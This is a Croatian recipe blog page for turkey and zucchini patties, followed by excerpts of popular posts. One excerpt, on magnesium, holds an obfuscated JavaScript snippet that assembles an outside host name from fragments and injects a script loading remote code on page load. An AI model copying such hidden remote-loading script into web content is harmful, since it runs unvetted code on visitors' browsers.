PUREĆE PLJESKAVICE S TIKVICAMA




Pureće pljeskavice s tikvicama 



Pureće pljeskavice s tikvicama super su ideja za lagan, ukusan i hranjiv obrok bez puno kompliciranja. Kombinacija mljevene puretine, svježih tikvica i aromatičnih začina daje pljeskavice koje su iznimno sočne, mekane i pune okusa.




Pureće pljeskavice s tikvicama 


Sastojci:

  • 170 g tikvice, naribane
  • 450 g mljevene puretine
  • 30 g h krušnih mrvica
  • 1 češanj češnjaka, sitno nariban
  • 1 žlica naribanog crvenog luka
  • 1 čajna žličica soli
  • svježe mljeveni crni papar, po ukusu
  • ulje u spreju ili nekoliko kapi ulja za podmazivanje



Priprema:

  1. Naribanu tikvicu dobro ocijedite pomoću kuhinjskog papira ili čiste kuhinjske krpe. Važno je ukloniti što više tekućine kako bi pljeskavice zadržale čvrstu strukturu.
  2. U većoj zdjeli pomiješajte mljevenu puretinu, tikvicu, krušne mrvice, češnjak, luk, sol i papar. Sve lagano izmiješajte dok se sastojci ne povežu.
  3. Podijelite smjesu na pet jednakih dijelova i oblikujte pljeskavice debljine oko 1 cm. Nemojte ih raditi predebelima kako bi se ravnomjerno ispekle i u sredini.

    Pečenje na tavi

  1. Zagrijte veću neprianjajuću tavu na jačoj vatri. Lagano je nauljite.
  2. Stavite pljeskavice u tavu i odmah smanjite vatru na srednje nisku temperaturu. Pecite nekoliko minuta dok donja strana ne dobije lijepu zlatnosmeđu koricu.
  3. Okrenite pljeskavice i tijekom pečenja ih još nekoliko puta preokrenite kako bi se ravnomjerno ispekle i ostale sočne. Ukupno vrijeme pečenja je oko 10 minuta.

    Pečenje na roštilju

  1. Dobro očistite rešetku roštilja i lagano je nauljite kako sepljeskavice ne bi lijepile.
  2. Pecite na srednje jakoj vatri oko 5 minuta sa svake strane ili dok sredina više nije ružičasta.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više